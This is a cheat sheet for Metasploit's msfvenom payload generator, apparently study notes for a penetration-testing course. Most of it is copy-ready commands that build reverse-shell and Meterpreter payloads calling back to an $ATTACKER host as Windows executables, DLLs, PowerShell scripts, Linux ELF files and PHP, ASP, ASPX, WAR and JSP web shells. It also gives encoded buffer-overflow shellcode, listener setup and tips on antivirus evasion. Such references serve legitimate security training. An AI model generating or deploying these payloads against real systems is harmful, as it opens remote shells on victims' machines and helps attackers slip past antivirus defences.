Msfvenom
Table of Contents
Metasploit's standalone payload generator and encoder. Combines
the old msfpayload and msfencode tools into one. Used to
generate payloads in various formats for delivery via file
upload, listener, or memory injection — independently of
msfconsole.
Related: Metasploit Meterpreter Reverse Shell Burp Suite
Core Flags
| Flag | Description |
|---|---|
-p |
Payload |
-f |
Output format (exe, elf, raw, c, python, ps1, asp, war…) |
-o |
Output file |
-e |
Encoder |
-i |
Encoder iterations |
-b |
Bad characters to avoid (e.g. \x00) |
-n |
NOP sled size |
--list payloads |
List all available payloads |
--list formats |
List all output formats |
--list encoders |
List all encoders |
Common Payloads
# List payloads for a platform msfvenom --list payloads | grep windows/x64 msfvenom --list payloads | grep linux/x64
Windows
# Staged Meterpreter reverse TCP (most common) msfvenom -p windows/x64/meterpreter/reverse_tcp \ LHOST=$ATTACKER LPORT=4444 -f exe -o shell.exe # Stageless (single) — more reliable on unstable connections msfvenom -p windows/x64/meterpreter_reverse_tcp \ LHOST=$ATTACKER LPORT=4444 -f exe -o shell.exe # Simple reverse shell (no Meterpreter) msfvenom -p windows/x64/shell_reverse_tcp \ LHOST=$ATTACKER LPORT=4444 -f exe -o shell.exe # PowerShell (fileless delivery) msfvenom -p windows/x64/shell_reverse_tcp \ LHOST=$ATTACKER LPORT=4444 -f ps1 -o shell.ps1 # DLL msfvenom -p windows/x64/meterpreter/reverse_tcp \ LHOST=$ATTACKER LPORT=4444 -f dll -o shell.dll
Linux
# ELF executable msfvenom -p linux/x64/meterpreter/reverse_tcp \ LHOST=$ATTACKER LPORT=4444 -f elf -o shell.elf chmod +x shell.elf # Stageless msfvenom -p linux/x64/shell_reverse_tcp \ LHOST=$ATTACKER LPORT=4444 -f elf -o shell.elf
Web Shells
# PHP msfvenom -p php/meterpreter_reverse_tcp \ LHOST=$ATTACKER LPORT=4444 -f raw -o shell.php # ASP (IIS) msfvenom -p windows/meterpreter/reverse_tcp \ LHOST=$ATTACKER LPORT=4444 -f asp -o shell.asp # ASPX (IIS) msfvenom -p windows/meterpreter/reverse_tcp \ LHOST=$ATTACKER LPORT=4444 -f aspx -o shell.aspx # WAR (Tomcat) msfvenom -p java/meterpreter/reverse_tcp \ LHOST=$ATTACKER LPORT=4444 -f war -o shell.war # JSP msfvenom -p java/meterpreter/reverse_tcp \ LHOST=$ATTACKER LPORT=4444 -f jsp -o shell.jsp
Shellcode for Buffer Overflow
# Raw shellcode — C format for embedding in exploit msfvenom -p linux/x86/shell_reverse_tcp \ LHOST=$ATTACKER LPORT=4444 -b "\x00" -f c # With encoder to avoid bad chars msfvenom -p windows/shell_reverse_tcp \ LHOST=$ATTACKER LPORT=4444 \ -b "\x00\x0a\x0d" \ -e x86/shikata_ga_nai -i 3 \ -f c
Setting Up a Listener
Always start the listener before delivering the payload:
# In msfconsole use exploit/multi/handler set PAYLOAD windows/x64/meterpreter/reverse_tcp set LHOST $ATTACKER set LPORT 4444 run -j # run as background job
The payload type in the handler must match the payload used in msfvenom exactly.
Staged vs Stageless
Staged: windows/x64/meterpreter/reverse_tcp
— small initial stager fetches the main payload from listener
— smaller file size, requires reliable connection to listener
Stageless: windows/x64/meterpreter_reverse_tcp (note: no slash before reverse)
— self-contained, entire payload in the file
— larger but works without follow-up connection to listener
Tips
- Match the architecture to the target — generating
x86payloads for a 64-bit process will fail; usex64unless the target process is specifically 32-bit - The PAYLOAD in
multi/handlermust exactly match what you generated with msfvenom — staged vs stageless matters - Bad character list (
-b) is critical for buffer overflow shellcode — null bytes (\x00) almost always need excluding, plus any character that terminates the vulnerable input - For AV evasion, encoding alone is usually insufficient for modern AV — custom payload generation tools (Veil, Shellter) are more effective, but outside PT1 scope
shikata_ga_naiis the most common encoder but is heavily signatured — iteration count (-i) increases polymorphism but won't defeat modern AV on its own